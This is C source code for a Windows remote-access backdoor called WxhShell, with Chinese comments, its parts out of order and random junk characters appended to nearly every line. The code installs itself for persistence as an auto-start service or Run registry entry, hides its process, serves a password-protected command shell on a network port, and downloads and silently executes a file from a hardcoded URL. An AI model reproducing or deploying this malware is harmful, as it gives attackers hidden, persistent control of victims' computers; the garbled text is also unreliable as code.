ULONG UniqueProcessId; p@>_1A}qh_
ULONG InheritedFromUniqueProcessId; R\1#)3e0
} PROCESS_BASIC_INFORMATION; H4Pj 3'
T%?<3/Ev!
PROCNTQSIP NtQueryInformationProcess; n%W~+
EKq9m=Ua@o
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VO[s:e9L
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3*XX@>|o
qdNYY&6>?u
HANDLE hProcess; 'Pr(7^
PROCESS_BASIC_INFORMATION pbi; _T8#36iR
gmy_ZVU'
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IP/
zFbc
if(NULL == hInst ) return 0; Rr(,i%fu
~vBmW_j
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3[aCy4O
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P+,\x&Vr
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bU(t5
[
W1Ur~x`
if (!NtQueryInformationProcess) return 0; Kh'/Ne?
fqFE GyeNr
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )m
\}ITf
if(!hProcess) return 0; ES}@mO
}4 5|
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lLyMm8E%pZ
r4A%`sk@
CloseHandle(hProcess); 8%>
Ls
O=u.PRNT8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 69TQHJ[
if(hProcess==NULL) return 0; Y)g<> }F
xG\&QE
HMODULE hMod; *ZF7m_8u{
char procName[255]; fQ'P2$
unsigned long cbNeeded; #V*<G#B
=H3 JRRS
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OGrp{s
cAV9.VS<L
CloseHandle(hProcess); gO1`zP!9Z
3zGxe-
if(strstr(procName,"services")) return 1; // 以服务启动 ID E3>D
F+v? 2|03
return 0; // 注册表启动 {&,a)h7&
} p!|ok#sW
(,[m}Qb?!
// 主模块 %AXa(C\1
int StartWxhshell(LPSTR lpCmdLine) $ZH$x3;
{ JrQ*.lJj
SOCKET wsl; G*3O5m
BOOL val=TRUE; k2_ "
int port=0; 4:y;<8+j\
struct sockaddr_in door; b~y1'|}g
B/c_pRl;
if(wscfg.ws_autoins) Install(); >A7),6
a>(LFpVk}
port=atoi(lpCmdLine); }<9*eAn`
t8E'd:pE
if(port<=0) port=wscfg.ws_port; #Kn=Q
4\Mh2z5
WSADATA data; ?SkYFa`u*
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J`Q#p%W
;vc$;54K
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =YR/X@&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F!tn|!~
door.sin_family = AF_INET; B=JeZMn
door.sin_addr.s_addr = inet_addr("127.0.0.1"); .3Jggp
door.sin_port = htons(port); l5l:'EY>
'dDd9
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]}<wS]1
closesocket(wsl); F'|D
return 1; %1 9TJn%J$
} _6;T
/_R=
%($sj|_l
if(listen(wsl,2) == INVALID_SOCKET) { s,\!@[N
closesocket(wsl); #E3Y;
b%v
return 1; X25cU{
} 9(dbou
Wxhshell(wsl); 24}r;=U
WSACleanup(); sV@kQ:
XwOj`N{!H
return 0; 5Y"JRWC
=q.2S;?
} Ia*eb%HG
C%85Aq* 4
// 以NT服务方式启动 r77?s?
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qhRs5QXL
{ =P!SN]nFeP
DWORD status = 0; wv|:-8V
DWORD specificError = 0xfffffff; l'fUa
S^]i
serviceStatus.dwServiceType = SERVICE_WIN32; H5j~<@STC
serviceStatus.dwCurrentState = SERVICE_START_PENDING; .Vj;[p8
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a*0gd-e0@
serviceStatus.dwWin32ExitCode = 0; M\BLuD
serviceStatus.dwServiceSpecificExitCode = 0; {a- p/\U
serviceStatus.dwCheckPoint = 0; =5a~xlBjD
serviceStatus.dwWaitHint = 0; 4E}]>
w^sM,c5d
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .h-:)e*
if (hServiceStatusHandle==0) return; hs}nI/#
H,9e<x#own
status = GetLastError(); #(FG+Bk
if (status!=NO_ERROR) }rz}>((ZHF
{ ;]3Tuq
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~T7\lJ{%G
serviceStatus.dwCheckPoint = 0; ~Aq;g$IJZ
serviceStatus.dwWaitHint = 0; \/I@&$"F
serviceStatus.dwWin32ExitCode = status; 7_)'Re#
serviceStatus.dwServiceSpecificExitCode = specificError; )s4#)E1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); d\WnuQR[
return; <?5 ,3`V
} bm*Ell\a.
C s?kZ
%
serviceStatus.dwCurrentState = SERVICE_RUNNING; i=#<0! m
serviceStatus.dwCheckPoint = 0; EtK,C~C}8
serviceStatus.dwWaitHint = 0; !run3ip`Z
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZP61T*n
} P(8zJk6h),
R@-rc|FunJ
// 处理NT服务事件,比如:启动、停止 Fr?o
4E6h
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?u{y[pI6
{ D|}
y{~
switch(fdwControl) RNE})B
{ f8'D{OP"G
case SERVICE_CONTROL_STOP: 6;i]v|M-
serviceStatus.dwWin32ExitCode = 0; # kl?ww U
serviceStatus.dwCurrentState = SERVICE_STOPPED; 'kPc`)\
serviceStatus.dwCheckPoint = 0; {]]qd!,
serviceStatus.dwWaitHint = 0; \^orl9
{ DfgqB3U[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^5x\cR
} A6YkoYgC
return; q|0Lu
case SERVICE_CONTROL_PAUSE: 2uu"0Rm%
serviceStatus.dwCurrentState = SERVICE_PAUSED; %:yJ/&-Q,Z
break; _@wXh-nc
case SERVICE_CONTROL_CONTINUE: L6c=uN
serviceStatus.dwCurrentState = SERVICE_RUNNING; U@yn%k9
break; [GJ_]w^}j
case SERVICE_CONTROL_INTERROGATE: #)QR^ss)iw
break; yyb8ll?@a
}; NCbn<ojb
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ORHs1/L`j
} yPL1(i;
DS0c0lsx
// 标准应用程序主函数 JJ[.K*dO
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hz&a~
{ wK0vKdi
*U|K~dl]K
// 获取操作系统版本 q '9u8b
OsIsNt=GetOsVer(); =Bu>}$BD
GetModuleFileName(NULL,ExeFile,MAX_PATH); BWV)>
-V
YYwFjA@
// 从命令行安装 W;en7v;#I}
if(strpbrk(lpCmdLine,"iI")) Install(); =S7Xj`/
?G%C}8a
// 下载执行文件 Ml VN'w
if(wscfg.ws_downexe) { 'F.Da#st!}
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D&KRJQ/
WinExec(wscfg.ws_filenam,SW_HIDE); 1Ys6CJ#
} Ucr$5^ME
|Y?1rLC
if(!OsIsNt) { HfEU[p7)
// 如果时win9x,隐藏进程并且设置为注册表启动 feSd%
HideProc(); KvW{M
StartWxhshell(lpCmdLine); X<{kf-GP
} -,+zA.{+W
else |tF:]jnIt
if(StartFromService()) BU],,t\
// 以服务方式启动 T9N][5 \
StartServiceCtrlDispatcher(DispatchTable); yXyL,R
else NN\>(
=
// 普通方式启动 a~jU~('4}w
StartWxhshell(lpCmdLine); KPc`5X
U7i WYdt$
return 0; Hz39v44
} AlF"1X02
Q |,(C0<G
=wbgZr^2
\2F{r<A\@
=========================================== NbnahhS
yh~*Kt]9Ya
3VNYDY`>
G+&ug`0]5
r$<-2lW
KCEBJ{jM
" s?r:McF`
9n\:grW
#include <stdio.h> OI:G~Wg
#include <string.h> ?Vg251-H
#include <windows.h> &5k$v^W5
#include <winsock2.h> Itaq4 ^CE
#include <winsvc.h> Y~vyCU5nWR
#include <urlmon.h> W.u+R?a=
xv|?;Zf6w
#pragma comment (lib, "Ws2_32.lib") eQK}J]S<
#pragma comment (lib, "urlmon.lib") Z',Z7QW7
zY_?$9l0
#define MAX_USER 100 // 最大客户端连接数 mk*r^k`a
#define BUF_SOCK 200 // sock buffer <!@*2/Q]J]
#define KEY_BUFF 255 // 输入 buffer #_oN.1u57
0m8mHJ<&
#define REBOOT 0 // 重启 t@=*k9
#define SHUTDOWN 1 // 关机 Ed">$S
ob= ](
#define DEF_PORT 5000 // 监听端口 FO[x
c;
iN\m:m
#define REG_LEN 16 // 注册表键长度 Jc8^m0_
#define SVC_LEN 80 // NT服务名长度 ^!a4!DGVT
2;&K*>g&.
// 从dll定义API ~@Yiwp\"
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R-%v??
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l=+hs
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7I\qEr57
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2H\}N^;f
pf&H !-M
// wxhshell配置信息 | R\PQ/)
struct WSCFG { P_7QZ0k/
int ws_port; // 监听端口 OO$YwOKS
char ws_passstr[REG_LEN]; // 口令 K+WbxovXU
int ws_autoins; // 安装标记, 1=yes 0=no w8(8n&5
char ws_regname[REG_LEN]; // 注册表键名 jg)+]r/hS
char ws_svcname[REG_LEN]; // 服务名 3:H[S_q
char ws_svcdisp[SVC_LEN]; // 服务显示名 S=f:-?N|
char ws_svcdesc[SVC_LEN]; // 服务描述信息 UYLCzv~W
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S1d^mu
int ws_downexe; // 下载执行标记, 1=yes 0=no 8/i];/,v*M
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &oJ1v<`
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5f#N$mh
2lb HUK
}; z8VcV*6
'.{tE*
// default Wxhshell configuration dUvgFOy|P
struct WSCFG wscfg={DEF_PORT, 9K4]~_%h\
"xuhuanlingzhe", x`3F?[#l
1, ab-z 7g
"Wxhshell", `#g62wb,HY
"Wxhshell", ~-J!WC==U
"WxhShell Service", d+m}Z>iQ1O
"Wrsky Windows CmdShell Service", ^Kbq.4
"Please Input Your Password: ", GMv.G
1, ?b,4mDptE
"http://www.wrsky.com/wxhshell.exe", ^pc?oDPSg
"Wxhshell.exe" 5I`_SOa!
}; '?gF9:
PH1jN?OEwZ
// 消息定义模块 *(+*tjcWa
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v ?Ds|
char *msg_ws_prompt="\n\r? for help\n\r#>"; vz~`M9^
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jV
'u*2&9
char *msg_ws_ext="\n\rExit."; V7S[rI<<r
char *msg_ws_end="\n\rQuit."; jx=5E6(h
char *msg_ws_boot="\n\rReboot..."; gRsV-qS
char *msg_ws_poff="\n\rShutdown..."; t>KvR!+`g
char *msg_ws_down="\n\rSave to "; f)_k_ <
g6D7Y<}d
char *msg_ws_err="\n\rErr!"; l b9O
char *msg_ws_ok="\n\rOK!"; > r
%:!o
|XrGf2P9u
char ExeFile[MAX_PATH]; ow<z @^ 3'
int nUser = 0; \Bvy~UeE)>
HANDLE handles[MAX_USER]; /z)H7s+
int OsIsNt; r9
5hW
U,g)N[|
SERVICE_STATUS serviceStatus; |a|##/
SERVICE_STATUS_HANDLE hServiceStatusHandle; lWyg_YO@
n1Z*wMwC
// 函数声明 8V?*Bz-4`
int Install(void); }VU7wMk
int Uninstall(void); Can:!48
int DownloadFile(char *sURL, SOCKET wsh); NScUlR"nE
int Boot(int flag); A[hvT\X
void HideProc(void); eWk
W,a
int GetOsVer(void); 6Zx'$F.iqK
int Wxhshell(SOCKET wsl); :OKU@l|
void TalkWithClient(void *cs); @{ CP18~:
int CmdShell(SOCKET sock); UCBx?9O/0
int StartFromService(void); $/)0iL{0
int StartWxhshell(LPSTR lpCmdLine); <)]j;Tl
=XhxD<kI
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S=zW
wo$
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ly_.%f
qDK\MQ!
// 数据结构和表定义 cx_$`H
SERVICE_TABLE_ENTRY DispatchTable[] = sUl
_W"aQ
{ 95IR.Qfn!
{wscfg.ws_svcname, NTServiceMain}, Rq[VP#
{NULL, NULL} QUb#84
}; CubBD+hl*
] vQU(@+I
// 自我安装 JTS<n4<a
int Install(void) 5T-CAkR{n
{ 8b|m6 6#|
char svExeFile[MAX_PATH]; s~b!3l`gu
HKEY key; @|;XDO`k;
strcpy(svExeFile,ExeFile); rx\f:-3g
$=ua$R4Z+
// 如果是win9x系统,修改注册表设为自启动 jQX9KwSP
if(!OsIsNt) { Egm-PoPe
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X B[C&3I
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *USzzLq
RegCloseKey(key); XJguw/[wm
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +rOfQ'lQ
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); btDPP k'
RegCloseKey(key);
B@K =^77
return 0; {SJnPr3R
} rhH !-`m
} Sd?+j;/"
} cS;O]>/5
else { y"nL9r.,:
,0^9VWZV
// 如果是NT以上系统,安装为系统服务 5cZKk/"Ad}
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KKGwMJku}
if (schSCManager!=0) JrJTIUf_
{ mKZ^FgG
SC_HANDLE schService = CreateService "SFs\] Z
( <,+6:NmT
schSCManager, hB1Gtc4n
wscfg.ws_svcname, I`KBj6n
wscfg.ws_svcdisp, $[HpY)MSRw
SERVICE_ALL_ACCESS, Q^|aix~ K
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f'&
SERVICE_AUTO_START, lFc4| _c g
SERVICE_ERROR_NORMAL, z\6/?5D#v
svExeFile, k}908%w
NULL, 0$I!\y\
NULL, mF@DO$
NULL, 9
:FzSD
NULL, uTIl} N
NULL {3kI~s
); InfUH8./t
if (schService!=0) <^YZ#3~1T
{ aj6{
CloseServiceHandle(schService); gt:Ot0\7
CloseServiceHandle(schSCManager); nk+*M9r|I
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ((E5w:=?
strcat(svExeFile,wscfg.ws_svcname); bl-t>aO*.V
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]qNPOnlp
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !Z`xwk"!
RegCloseKey(key); QAK.Qk?Qu
return 0; gA~faje
} Tx0l^(n
} @V5'+^O
CloseServiceHandle(schSCManager); sAKQ.8$h*
} #zv'N
} }dSxrT
`Ef&h V
return 1; gKay3}w
} :fE*fU@
!>L+q@l)
// 自我卸载 C%+>uzVIw
int Uninstall(void) d8T,33>T
{ |
QI-gw
HKEY key; TAn.5
wH9t
NurbioFL
if(!OsIsNt) { V7
dAB,:
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cb/?hT
RegDeleteValue(key,wscfg.ws_regname); vXi}B
RegCloseKey(key); &5u[q
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3((53@s98
RegDeleteValue(key,wscfg.ws_regname); r
,,A%
RegCloseKey(key); p3r1lUw
return 0; f3]u-e'b
} wOp# mT
} L5*,l`lET
} _\Cd.
else { UW[{Y|oE
"@[xo7T
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~-w
if (schSCManager!=0) !OJSQB,
{ OWK)4[HY(
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9/k?Lv
if (schService!=0) [+st?;"GF
{ {M?!nS6t
if(DeleteService(schService)!=0) { =w.#j-jR
CloseServiceHandle(schService); C9}2F{8
CloseServiceHandle(schSCManager); r_Rjjo
return 0; 1% )M-io
} \g}FoN&